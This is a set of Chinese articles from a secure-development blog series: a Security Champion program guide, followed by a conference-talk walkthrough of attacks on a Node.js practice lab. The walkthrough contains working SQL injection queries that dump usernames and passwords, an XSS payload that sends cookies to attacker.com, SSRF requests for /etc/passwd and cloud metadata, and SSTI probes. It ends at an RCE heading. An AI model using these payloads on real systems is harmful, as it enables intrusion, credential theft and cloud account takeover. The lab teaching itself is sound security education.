回到蓋房子的比喻。你花了大量心血學習安全需求、安全設計、安全編碼、安全測試、安全監控——這一路走來,你的房子已經從一棟普通的建築,變成了一座有防震結構、消防系統、監視保全的安全堡壘。
但最終,你需要一份「驗屋報告」,證明這些努力不是白費的。資安指標就是那份報告。
它不只是給老闆看的——更是給你自己和團隊看的。當你看到漏洞密度從 10 降到 3,當你看到 MTTR 從一個月縮短到一週,當你看到安全掃描覆蓋率從 0% 爬到 100%——每一個數字的改善,都是你和團隊一步一步踏實走出來的成果。
「安全不是恐懼,而是創造的基礎。而度量,就是讓你看見自己走了多遠、還能走多遠的地圖。」
SSDLC 的七個階段,我們一路從安全需求走到了資安成效追蹤。這不是終點,而是一個新的循環的起點。有了度量,你才知道下一輪要從哪裡開始改進;有了數據,你才能持續讓安全變得更好。
記住,沒有度量的安全是盲目的努力,而有度量的安全是持續進化的力量。
讓我們用數據,讓安全的價值被每一個人看見。
延伸閱讀
- OWASP SAMM — Software Assurance Maturity Model — 評估團隊安全開發成熟度的框架
- NIST SP 800-55 — Performance Measurement Guide for Information Security — 資安績效衡量指南
- IBM Cost of a Data Breach Report 2024 — 資料外洩成本年度報告
- OWASP DevSecOps Metrics — DevSecOps 度量指南
- CIS Risk Assessment Method (RAM) — CIS 風險評估方法
- SSDLC by 飛飛 — 學習路徑
- SSDLC — 什麼是 SSDLC?讓安全融入開發的每個階段
- SSDLC — 安全監控與告警:建立你的資安儀表板
- SSDLC — CI/CD 安全整合:在 Pipeline 加入安全關卡
- SSDLC — 事件回應 SOP 完整指南
[安全教育] 001 Security Champion 計畫:讓開發者成為安全推手|建立機制、培訓與激勵的完整實戰指南
「最好的防火牆,不是裝在伺服器上的那道,而是裝在每個開發者腦中的那道。
Security Champion 不是多一個頭銜,而是讓安全有了在每個團隊生根的土壤。」
— SSDLC by 飛飛
一、Security Champion 是什麼?為什麼你的團隊需要「安全種子選手」?
在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求、安全設計、安全編碼、安全測試、安全部署、安全維運。到了階段七:教育與持續改進(Education & Continuous Improvement)——也就是社區防災演練、經驗傳承的階段。
但這裡有一個殘酷的現實:再好的安全制度,如果沒有「人」在團隊裡日復一日地推動,最終都會變成牆上的海報。
想像你住的社區,管委會請了一位消防顧問來演講,大家聽完拍拍手,然後繼續把滅火器當門擋用。但如果你們棟有一位鄰居,本身就住在這裡、了解大家的習慣,他會在群組裡提醒「瓦斯記得關」、在樓梯間順手檢查滅火器、住戶裝修時提醒「不要擋到消防通道」——這位鄰居就是你的 Security Champion。
Security Champion(安全冠軍 / 安全倡導者) 是開發團隊中願意多學一點資安知識、在日常開發中推廣安全實踐的開發者。他們不是資安專家,也不需要轉職成資安工程師,而是在原本的開發角色上,多戴一頂安全的帽子。
| 面向 | 專職資安團隊 | Security Champion |
|---|---|---|
| 身份 | 獨立的資安部門成員 | 開發團隊中的一員 |
| 比喻 | 消防局派來的消防員 | 社區裡懂消防的鄰居 |
| 優勢 | 專業深度、全局視野 | 了解團隊痛點、即時回應 |
| 劣勢 | 不了解每個團隊的細節 | 安全知識有限,需要持續學習 |
| 角色 | 制定政策、審計、應變 | 推廣實踐、第一線把關、橋樑溝通 |
根據 OWASP Security Champions Playbook 的定義,Security Champion 是團隊中安全事務的單一聯絡窗口,他們與資安團隊保持聯繫、監督安全最佳實踐的落實,並協助推動安全文化活動。
飛飛觀點:
在台灣,很多中小型軟體公司根本沒有專職資安人員。這不代表你可以不做安全——而是代表你更需要 Security Champion。就像小公寓沒有物管公司,更需要有個熱心鄰居幫忙注意門禁安全。
二、沒有 Security Champion 會怎樣?那些血淋淋的場景
在你決定要不要建立 Security Champion 計畫之前,先看看沒有它的團隊長什麼樣子:
場景一:資安警報變成噪音
CI/CD Pipeline 加入了 SAST 掃描(太好了,你讀了前幾篇文章!),每次掃出 20 條警告。但沒有人知道哪些重要、哪些是誤報,開發者開始習慣性忽略。三個月後,Pipeline 裡的安全掃描變成了裝飾品。
場景二:安全知識斷層
團隊裡那個懂資安的前輩離職了。他腦中的安全設計決策、為什麼密碼要用 Argon2 而不是 bcrypt、為什麼那個 API 要加 Rate Limit——全部跟著他走了。新人接手後,這些防護措施逐漸被「簡化」掉。
場景三:資安團隊變成瓶頸
公司有一個兩人的資安團隊,但他們要審全公司八個團隊的程式碼。結果?安全審查排隊排到天荒地老,開發者為了趕 deadline 直接跳過安全審查上線。
場景四:安全只在出事時被想起
平時大家各忙各的,直到某天客戶資料外洩上了新聞。老闆緊急召開會議:「誰來負責?」大家面面相覷——因為安全從來不是「誰的事」。
這些場景有沒有很眼熟?Security Champion 計畫正是為了解決這些問題而存在的。
三、Security Champion 的角色定義:他們到底要做什麼?
Security Champion 不是「兼職資安工程師」,也不是「背鍋俠」。他們的角色更像是一座橋——連結開發團隊與資安團隊,讓安全知識能在日常開發中流動。
核心職責清單
## Security Champion 職責定義
### 日常職責(每週投入 2-4 小時)
- [ ] Code Review 時關注安全面向(輸入驗證、權限檢查、錯誤處理)
- [ ] 協助團隊判讀 SAST / DAST / SCA 掃描結果
- [ ] 在 Sprint Planning 提出安全考量(「這個功能需要做威脅建模嗎?」)
- [ ] 追蹤團隊的安全技術債,確保高風險項目被排入修復計畫
### 推廣職責(每月 2-4 小時)
- [ ] 在團隊內分享最新的安全漏洞案例或技術趨勢
- [ ] 帶領團隊做安全相關的 Workshop 或 Lunch & Learn
- [ ] 維護團隊的安全 Checklist 和最佳實踐文件
### 橋樑職責(持續性)
- [ ] 作為團隊與資安團隊之間的聯絡窗口
- [ ] 將資安團隊的政策「翻譯」成開發者聽得懂的語言
- [ ] 回報團隊遇到的安全工具問題或流程卡點
- [ ] 參加跨團隊的 Security Champion 定期會議
### 進階職責(視經驗逐步加入)
- [ ] 協助進行新功能的威脅建模(STRIDE 分析)
- [ ] 撰寫安全相關的自訂 Semgrep / ESLint 規則
- [ ] 協助規劃安全驗收標準(Gherkin 格式)
- [ ] 在事件回應時提供技術支援
Security Champion ≠ 這些角色
很多團隊對 Security Champion 有誤解,這裡先釐清:
| Security Champion 是 | Security Champion 不是 |
|---|---|
| 安全意識的推廣者 | 所有安全工作的執行者 |
| 團隊的安全諮詢窗口 | 唯一需要關心安全的人 |
| 資安團隊的延伸觸角 | 資安團隊的替代品 |
| 持續學習安全的開發者 | 已經精通資安的專家 |
| 提出安全建議的人 | 有權否決功能上線的人 |
飛飛觀點:
最常見的失敗原因是把 Security Champion 當成「免費的資安工程師」——什麼安全工作都丟給他,但不給他時間、資源和支持。這就像讓一個志工消防員去處理化學工廠大火,既不公平也不實際。
四、從零建立 Security Champion 計畫:六步驟實戰指南
第一步:取得管理層支持(最重要的一步)
沒有管理層的支持,Security Champion 計畫注定失敗。因為 Champion 需要被允許在工作時間花一部分精力在安全上。如果主管認為「寫 Code 才是正事,搞安全是浪費時間」,那 Champion 就會在產出壓力和安全責任之間被夾扁。
怎麼說服老闆?用數據和錢說話:
## 給主管的電梯簡報
### 問題
- 台灣企業每年因資安事件平均損失 NT$ 3,200 萬
- 上線後才發現的安全漏洞,修復成本是設計階段的 30-100 倍
- 我們目前沒有人在開發過程中把關安全
### 解決方案
- 建立 Security Champion 計畫
- 每個團隊指定一位開發者,每週投入 2-4 小時關注安全
- 不需要額外招人,不需要大額預算
### 預期效益
- 安全漏洞在開發階段被發現的比率提升 40-60%
- 減少上線後的安全修補成本
- 提升團隊整體安全意識與程式碼品質
- 符合客戶與法規(個資法、資安法)的安全要求
### 需要的支持
- 允許 Champion 每週有 2-4 小時的安全學習與實踐時間
- 提供基礎的培訓資源(約 NT$ 30,000-50,000 / 年)
- 在績效考核中認可 Champion 的貢獻
第二步:選對人(心態比技能重要)
Security Champion 不需要是團隊裡技術最強的人,但一定要是對安全有好奇心、願意學習、能影響他人的人。
理想的 Security Champion 特質:
- 好奇心強:看到一個 API 會想「如果有人亂打參數會怎樣?」
- 樂於分享:願意在團隊內分享學到的東西,不藏私
- 溝通能力好:能把技術概念用大家聽得懂的方式說明
- 有影響力:團隊成員信任他、願意聽他的建議
- 主動積極:不需要人追著跑,自己會找資源學習
建議的人數比例: 每 5-10 位開發者配一位 Security Champion。太少覆蓋不了,太多反而沒人認真投入。
選人方式:
| 方式 | 優點 | 缺點 |
|---|---|---|
| 自願報名 | 動機最強、投入度高 | 可能沒人報名 |
| 主管推薦 | 可確保每個團隊都有 | 被推薦的人可能不情願 |
| 結合兩者 | 平衡覆蓋率與投入度 | 需要更多溝通協調 |
台灣場景的建議: 先從自願報名開始,搭配一場「Security Champion 是什麼」的說明會。我的經驗是,當大家知道這不是額外加班,而是有資源支持的成長機會時,通常都會有人主動舉手。
飛飛觀點:
最怕的就是「被志願」的 Champion。研究指出,被強迫擔任的 Champion 往往會心生不滿、敷衍了事。招募應該強調吸引力和好奇心,而不是強制指派。如果一個團隊真的沒人想當,那代表安全文化需要先從更基礎的地方開始培養。
第三步:建立培訓路線圖(漸進式學習)
Security Champion 不需要一開始就精通所有資安知識。好的培訓計畫是漸進式的——先打基礎,再逐步加深。
培訓路線圖(建議 6 個月為一個週期)
第 1 個月:安全意識基礎
├─ OWASP Top 10 概覽(讀完本系列文章就夠了!)
├─ 常見漏洞 Demo(SQL Injection、XSS 實際操作)
├─ 認識團隊使用的安全工具(SAST、DAST、SCA)
└─ 完成 OWASP Juice Shop 前 10 個挑戰
第 2-3 個月:工具與流程實戰
├─ 學會判讀 SonarQube / Semgrep 的掃描報告
├─ 練習做簡單的 Code Review(安全面向)
├─ 參與一次威脅建模 Workshop(STRIDE)
└─ 撰寫第一份 Abuse Case
第 4-5 個月:深化與分享
├─ 學習進階主題(認證授權設計、密碼學基礎、供應鏈安全)
├─ 在團隊內做一次 Lunch & Learn 分享
├─ 協助定義一個功能的安全驗收標準
└─ 參加外部資安社群活動或研討會
第 6 個月:評估與規劃
├─ 自我評估成長(對照初始基準)
├─ 收集團隊回饋
├─ 規劃下一期的學習重點
└─ 將經驗文件化,加入團隊知識庫
推薦的學習資源:
| 資源 | 類型 | 費用 | 適合階段 |
|---|---|---|---|
| SSDLC by 飛飛 系列文章 | 文章 | 免費 | 第 1 個月 |
| OWASP Juice Shop | 實作平台 | 免費 | 第 1-2 個月 |
| PortSwigger Web Security Academy | 線上課程 + Lab | 免費 | 第 2-3 個月 |
| OWASP Security Champions Guide | 指南 | 免費 | 持續參考 |
| AWS Security Champion Knowledge Path | 線上課程 + Badge | 付費(Skill Builder) | 第 3-5 個月 |
| 資安實務研討會(如 HITCON、CYBERSEC) | 研討會 | 付費(NT$ 2,000-8,000) | 第 4-5 個月 |
第四步:建立溝通機制與社群
Security Champion 不該是孤軍奮戰。他們需要一個互相支持的社群。
建議建立以下溝通管道:
1. 專屬 Slack / Teams 頻道
建一個 <code>#security-champions</code> 頻道,讓所有 Champion 可以:
- 分享遇到的安全問題和解決方式
- 討論掃描結果中不確定的發現
- 轉發最新的安全資訊和漏洞通報
2. 雙週定期會議(30 分鐘)
每兩週一次的短會議,議程很簡單:
## Security Champion 雙週會議議程(30 分鐘)
1. 【5 分鐘】近期安全動態(資安團隊分享)
2. 【10 分鐘】各團隊安全近況回報
- 有沒有遇到新的安全問題?
- 掃描結果有什麼需要討論的?
- 有沒有什麼安全改善的好消息?
3. 【10 分鐘】主題討論 / 案例分享
- 輪流由一位 Champion 分享學到的東西
4. 【5 分鐘】行動項目確認
3. 知識庫(Wiki / Notion / Confluence)
集中管理所有安全相關的知識:
/security-knowledge-base
/onboarding ← 新進 Champion 的入門指南
/checklists ← 各類安全 Checklist
/case-studies ← 團隊遇過的安全案例
/tool-guides ← 安全工具使用指南
/templates ← 威脅建模、Abuse Case 模板
/meeting-notes ← 雙週會議紀錄
第五步:設計激勵機制(讓人想繼續做下去)
Security Champion 是額外付出時間和精力的角色,如果沒有適當的激勵,熱情很快就會消退。
激勵不只是獎金,而是認可、成長和影響力。
| 激勵類型 | 具體做法 | 成本 |
|---|---|---|
| 公開認可 | 在全公司月會上介紹 Champion 和他們的貢獻 | 免費 |
| 學習資源 | 贊助參加資安研討會(如 HITCON、CYBERSEC) | NT$ 3,000-8,000 / 次 |
| 證照補助 | 補助考取 Security+ 或 CEH 等證照 | NT$ 10,000-30,000 |
| 績效認可 | 將 Champion 工作納入績效考核的加分項目 | 免費 |
| 成長路徑 | 提供 Tech Lead 或 Security Engineer 的晉升參考 | 免費 |
| 季度表彰 | 「最佳安全倡導者」獎,附贈小禮物或獎金 | NT$ 1,000-3,000 |
| 時間保障 | 明確規定每週有 2-4 小時的安全學習時間 | 免費(但最珍貴) |
台灣企業的實戰做法:
- 某台灣電商公司:每季評選「安全之星」,在公司群組公開表揚,並送一張 NT$ 3,000 的書券(買技術書籍用)
- 某台灣金融科技新創:Security Champion 的工作納入 OKR,佔個人績效的 10%,確保主管不會忽視他們的貢獻
- 某台灣 SaaS 公司:每年贊助一位 Champion 去參加海外資安研討會,回來後做一場公司內部分享
飛飛觀點:
在所有激勵中,「時間保障」是最重要的。很多公司口頭支持安全,但 Champion 一忙起來就被要求「先趕功能,安全的事晚點再說」。如果連學習和實踐的時間都沒有,其他激勵都是空談。
第六步:衡量成效,持續改進
Security Champion 計畫不是設立了就萬事大吉。你需要追蹤指標,確認計畫真的有在產生效果。
建議追蹤的指標:
// Security Champion 計畫成效指標
const securityChampionMetrics = {
// 安全品質指標
vulnerabilities: {
'開發階段發現的漏洞數': '應該逐漸增加(代表更多問題被提前發現)',
'上線後才發現的漏洞數': '應該逐漸減少',
'平均漏洞修復時間': '應該逐漸縮短',
'SAST 掃描合格率': '應該逐漸提升',
},
// 文化指標
culture: {
'Champion 活動參與率': '每月分享會的出席率',
'Security PR Review 參與度': 'Champion 參與安全相關 Code Review 的頻率',
'安全議題提出次數': 'Sprint Planning 中提出安全考量的次數',
'知識庫更新頻率': '安全文件被新增或更新的次數',
},
// Champion 個人成長指標
growth: {
'培訓完成率': '預定課程的完成比例',
'安全技能自評分數': '每季一次,1-5 分自評',
'分享次數': 'Lunch & Learn 或文章分享的次數',
},
// 滿意度指標
satisfaction: {
'Champion 滿意度': '對計畫的整體滿意度(季度調查)',
'團隊感受': '團隊成員是否感覺安全意識有提升',
}
};
簡易的季度報告模板:
## Security Champion 計畫 Q_ 季度報告
### 本季重點數據
- Security Champion 人數:_ 人(覆蓋 _ 個團隊)
- 開發階段發現漏洞:_ 件(上季:_ 件)
- 上線後安全事件:_ 件(上季:_ 件)
- 平均漏洞修復時間:_ 天(上季:_ 天)
### 本季活動
- 舉辦 _ 場安全分享會
- 完成 _ 次威脅建模
- 更新 _ 份安全文件
### 成功案例
[記錄一個具體的、Champion 發現或預防安全問題的案例]
### 挑戰與改進
[記錄遇到的困難和下季改進方向]
五、台灣場景實戰:一個 20 人團隊的導入案例
讓我們用一個虛構但寫實的台灣場景,走一遍 Security Champion 計畫的完整導入。
背景
「好買網」是一間台灣的中型電商平台,團隊 20 人(3 個 Scrum 小組,每組 5-7 人),使用 Node.js + React 技術棧。沒有專職資安人員,過去安全靠上線前找外部廠商做一次滲透測試。
導入過程
Month 0:準備階段
CTO 閱讀了 SSDLC 系列文章(就是你現在在看的這個系列),決定導入 Security Champion 計畫。他向 CEO 提出提案,用「去年滲透測試發現 15 個高風險漏洞,修復花了 3 個 Sprint」的數據說服管理層支持。
Month 1:啟動
- 舉辦一場 1 小時的全員說明會,介紹 Security Champion 計畫
- 三個 Scrum 小組各有一人自願報名(前端組的小美、後端組的阿凱、DevOps 組的志明)
- 每位 Champion 每週有 3 小時的安全學習時間
- 建立 <code>#security-champions</code> Slack 頻道
Month 2-3:基礎培訓
- 三人一起讀完 SSDLC 系列文章的安全需求和安全編碼篇
- 各自完成 OWASP Juice Shop 前 15 個挑戰
- 阿凱在 Code Review 時發現一個 SQL Injection 風險,提交修復 PR
- 志明把 Semgrep 的掃描結果整理成團隊看得懂的報告格式
Month 4-6:實戰累積
- 小美在 Sprint Planning 提出「這個新的社群分享功能需要做 Abuse Case 分析」
- 三人合作完成了登入系統的 STRIDE 威脅建模
- 阿凱做了第一場 Lunch & Learn:「我如何用 5 分鐘在好買網找到 XSS 漏洞」(用測試環境 demo)
- 志明建立了團隊的「部署前安全 Checklist」
- 外部滲透測試結果:高風險漏洞從去年的 15 個降到 4 個
Month 7-12:持續改進
- 新進的開發者入職時,由 Champion 帶他做一次安全基礎導覽
- 建立了安全知識庫,累積了 12 篇安全案例
- CTO 在年度大會上公開表揚三位 Champion
- 阿凱開始對團隊的自訂 Semgrep 規則做貢獻
- 計畫吸引了另外兩位開發者加入,Champion 團隊擴大到 5 人
成果數據
| 指標 | 導入前 | 導入後(一年) |
|---|---|---|
| 外部滲透測試高風險漏洞數 | 15 個 | 4 個 |
| 開發階段發現的安全問題 | 0 件 / 季 | 12 件 / 季 |
| 安全修復平均時間 | 14 天 | 3 天 |
| 團隊安全意識自評(1-5) | 2.1 分 | 3.8 分 |
| Sprint Planning 提出安全議題次數 | 0 次 / 月 | 4 次 / 月 |
六、Security Champion 的成熟度模型:你的計畫在哪個階段?
Security Champion 計畫不是一步到位的,它有自己的成長曲線。以下是四個成熟度等級,幫你評估目前的狀態和下一步方向:
| 等級 | 名稱 | 特徵 | 下一步行動 |
|---|---|---|---|
| Level 1 | 萌芽期 | 剛指定 Champion,角色定義模糊,培訓剛開始 | 明確職責、建立培訓路線圖 |
| Level 2 | 建立期 | Champion 開始在 Code Review 中關注安全,定期會議已建立 | 建立激勵機制、開始量化指標 |
| Level 3 | 成長期 | Champion 主動發現問題、帶動團隊文化改變、有系統的知識分享 | 深化技能(威脅建模、自訂規則)、建立知識庫 |
| Level 4 | 成熟期 | 安全融入開發日常、Champion 影響架構決策、形成安全社群 | 建立 Community of Practice、影響組織策略 |
根據 BSIMM(Building Security In Maturity Model)的數據,在安全成熟度最高的企業中,有 92% 設有 Security Champion 計畫,而成熟度最低的企業只有 32%。這充分說明了 Security Champion 與組織安全水準的正相關。
七、常見問題 FAQ
Q1:我們團隊只有 5 個人,也需要 Security Champion 嗎?
需要,而且更需要。小團隊沒有專職資安人員,代表安全責任完全分散,結果就是沒人負責。指定一位 Champion,哪怕每週只花 1-2 小時關注安全,都比「大家都有責任 = 沒人有責任」好太多了。
Q2:Security Champion 需要什麼背景?需要資安證照嗎?
不需要任何資安背景或證照。最重要的是對安全有興趣和好奇心。培訓計畫會逐步補足知識。事實上,很多優秀的 Champion 是從「想知道為什麼這行程式碼不安全」這個好奇心開始的。證照可以作為後續的成長目標,但絕不是門檻。
Q3:Champion 會不會變成團隊的瓶頸?什麼安全決策都要經過他?
不應該。Champion 的角色是「推廣者」和「諮詢者」,不是「審核者」。安全檢查應該盡量自動化(SAST、DAST、SCA 整合進 CI/CD),Champion 負責的是幫助團隊理解掃描結果、推動安全文化,而不是親自審每一行 Code。
Q4:如果 Champion 離職了怎麼辦?
這正是為什麼每個團隊至少要有一位 Champion、公司整體要有多位 Champion 的原因。另外,Champion 累積的知識應該被文件化在知識庫中,而不是只存在個人腦中。建議每位 Champion 培養至少一位「備援」,就像值班制度一樣。
Q5:這跟之前文章提到的「威脅建模引導者」是同一個角色嗎?
是的!在威脅建模入門那篇文章中提到的「威脅建模引導者」,就是 Security Champion 的職責之一。Champion 是一個更全面的角色,威脅建模、安全 Code Review、工具結果判讀、安全教育——這些都是 Champion 的工作範疇。
八、Security Champion Onboarding Checklist
如果你已經決定要成為或指定 Security Champion,以下是一份可以直接使用的入職清單:
## Security Champion 新手入職 Checklist
### 第一週:認識角色
- [ ] 閱讀 Security Champion 職責定義文件
- [ ] 加入 #security-champions 頻道
- [ ] 認識資安團隊的聯絡窗口
- [ ] 了解公司目前使用的安全工具(SAST、DAST、SCA)
- [ ] 閱讀 SSDLC by 飛飛 的「什麼是 SSDLC」入門文章
### 第一個月:打基礎
- [ ] 完成 OWASP Top 10 概覽學習
- [ ] 在 OWASP Juice Shop 完成前 10 個挑戰
- [ ] 學會查看 CI/CD Pipeline 中的安全掃描報告
- [ ] 在一次 Code Review 中嘗試從安全角度提出建議
- [ ] 參加第一次 Security Champion 雙週會議
### 第二個月:開始實踐
- [ ] 獨立判讀一次 SAST 掃描結果(區分真陽性和誤報)
- [ ] 在 Sprint Planning 中提出至少一個安全考量
- [ ] 閱讀 SSDLC 系列的安全需求和安全編碼文章
- [ ] 建立或更新一份團隊的安全 Checklist
### 第三個月:分享與連結
- [ ] 在團隊內做一次 15 分鐘的安全分享
- [ ] 將一個學到的安全知識寫成文件,加入知識庫
- [ ] 嘗試為一個功能撰寫 Abuse Case
- [ ] 評估自己的學習進度,規劃下一階段目標
九、結語:安全文化的最小可行單位,是一個願意多想一步的人
工具可以自動掃描、流程可以強制執行、政策可以寫得很漂亮——但真正讓安全在團隊裡生根發芽的,是人。
Security Champion 不是一個華麗的頭銜,而是一個簡單的承諾:「我願意在寫程式的同時,多想一步——這行 Code 安全嗎?這個設計會不會被攻擊者利用?這個錯誤訊息會不會洩露太多資訊?」
在 SSDLC 蓋房子的旅程中,我們學了怎麼寫安全需求、怎麼做威脅建模、怎麼安全編碼、怎麼做測試、怎麼強化系統。但所有這些知識,都需要有人在每一天的開發工作中去實踐。Security Champion 就是那個把知識變成行動的人。
回想一下你家社區裡那位熱心的鄰居——他不需要是消防員、不需要是保全專家,但因為他的存在,整個社區都更安全了一點。
你,願意成為你團隊的那個人嗎?
安全不是恐懼,而是創造的基礎。
當團隊裡有人願意為安全多想一步,安全文化就不再是政策文件裡的口號——而是每一次 Code Review、每一次 Sprint Planning、每一次部署中,自然而然發生的事。
延伸閱讀
- OWASP Security Champions Guide — OWASP 官方的 Security Champion 計畫指南
- OWASP Security Champions Playbook — 實戰手冊
- Security Champion Program Success Guide — 完整的成功計畫指南
- AWS Security Champion Knowledge Path — AWS 提供的 Security Champion 學習路徑
- OWASP SAMM — Security Assurance Maturity Model — 安全成熟度評估框架
- BSIMM — Building Security In Maturity Model — 軟體安全成熟度模型
- 系列文章:什麼是 SSDLC?讓安全融入開發的每個階段
- 系列文章:威脅建模入門:用 STRIDE 找出系統弱點
- 系列文章:SAST 靜態分析入門:讓工具幫你審程式碼
- 系列文章:CI/CD 安全整合:在 Pipeline 加入安全關卡
[Conf] 001 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南
本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。
活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw
前言
當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:
X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)
這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。
但知道這是 Node.js,真的改變了什麼嗎?
這個問題貫穿了整場演講,也是本文想要探討的核心。
實驗環境
本文所有攻擊都可以在以下環境中實際練習:
⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。
第一部分:攻擊者視角
一、識別 Node.js 的方法
在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:
1.1 HTTP Response Headers
curl -I https://nodelab.feifei.tw
觀察回應中的:
- X-Powered-By: Express — 最直接的線索
- Server: nginx — 配合其他線索判斷
1.2 Cookie 命名慣例
打開瀏覽器開發者工具 → Application → Cookies,觀察:
- connect.sid — Express Session 的預設名稱
1.3 錯誤訊息洩漏
故意觸發錯誤,觀察 Stack Trace 中是否包含:
- node_modules
- at Object.<anonymous>
- Express 相關路徑
1.4 使用 Wappalyzer
安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。
二、通用漏洞(與語言無關)
以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%。
2.1 SQL Injection
Lab 路徑:https://nodelab.feifei.tw/api/articles/
漏洞程式碼:
// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};
攻擊流程:
Step 1:探測漏洞
curl "https://nodelab.feifei.tw/api/articles/'"
如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。
Step 2:確定欄位數量(ORDER BY)
# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -" # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -" # 失敗
# 結論:有 6 個欄位
Step 3:取得資料庫版本
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"
Step 4:列出所有資料表
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"
Step 5:取得 users 表的欄位
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"
Step 6:取得帳號密碼
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"
預期結果:
test:password123,admin:secret1
2.2 XSS(跨站腳本攻擊)
反射型 XSS
Lab 路徑:https://nodelab.feifei.tw/search
漏洞程式碼:
app.get('/search', (req, res) => {
const keyword = req.query.keyword;
res.send(你搜尋的關鍵字是:${keyword}); // 直接輸出,未轉義
});
攻擊 Payload:
https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>
竊取 Cookie 的 Payload:
https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS
Lab 路徑:https://nodelab.feifei.tw/form
測試 Payload:
| 類型 | Payload | 預期結果 |
|---|---|---|
| HTML 注入 | <h1>這是標題</h1> | 顯示為 H1 標題 |
| CSS 注入 | <style>body{background:red}</style> | 背景變紅 |
| JS 注入 | <script>alert(‘XSS’)</script> | 彈出對話框 |
2.3 JWT 誤用
Lab 路徑:https://nodelab.feifei.tw/api/auth/login
漏洞程式碼:
// 絕對不要這樣寫!
const token = jwt.sign({
id: user.id,
username: user.username,
password: user.password // 密碼放進 JWT!
}, secretKey);
💬 講者原話:「大家不要笑,這些全部都是真實的案例。」
這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。
攻擊方式:
-
取得 JWT Token
curl -X POST https://nodelab.feifei.tw/api/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"password123"}' -
解碼 JWT(到 https://jwt.io)
- JWT 中間部分是 Base64 編碼
- 解碼後可能看到明文密碼
2.4 敏感資料洩露
Lab 路徑:https://nodelab.feifei.tw/api/users
漏洞程式碼:
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // 直接回傳整個物件,包含密碼
});
💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」
「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」
「請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。」
為什麼 Vibe Coding 容易出現這個問題?
當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。
攻擊方式:
curl https://nodelab.feifei.tw/api/users/1
可能的回傳:
{
"id": 1,
"username": "admin",
"email": "admin@example.com",
"password": "hashed_password_here",
"created_at": "2024-01-01"
}
2.5 SSRF(伺服器端請求偽造)
Lab 路徑:https://nodelab.feifei.tw/fetch
漏洞程式碼:
app.get('/fetch', async (req, res) => {
const { url } = req.query;
const response = await axios.get(url); // 直接請求使用者提供的 URL
res.json(response.data);
});
攻擊 Payload:
存取內部 API:
curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"
讀取本機檔案(如果支援 file 協定):
curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"
存取雲端 Metadata(AWS/GCP):
curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"
💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。」
真實案例場景:
攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:
- 啟動大量 EC2 實例進行挖礦
- 存取 S3 Bucket 中的敏感資料
- 修改安全群組設定
- 建立新的 IAM 使用者作為後門
這就是為什麼很多公司會突然收到巨額的雲端帳單。
三、Node.js 特定漏洞
以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)。
3.1 SSTI(伺服器端模板注入)
Lab 路徑:
| 模板引擎 | URL |
|---|---|
| JsRender | https://nodelab.feifei.tw/ssti/JsRender-demo |
| PugJS | https://nodelab.feifei.tw/ssti/PugJS-demo |
| Nunjucks | https://nodelab.feifei.tw/ssti/Nunjucks-demo |
Step 1:確認 SSTI 漏洞存在
JsRender:
curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
-H "Content-Type: application/json" \
-d '{"payload":"{{:7*7}}"}'
# 預期結果:49
PugJS:
curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
-H "Content-Type: application/json" \
-d '{"template":"#{7*7}"}'
# 預期結果:49
Nunjucks:
curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
-H "Content-Type: application/json" \
-d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊
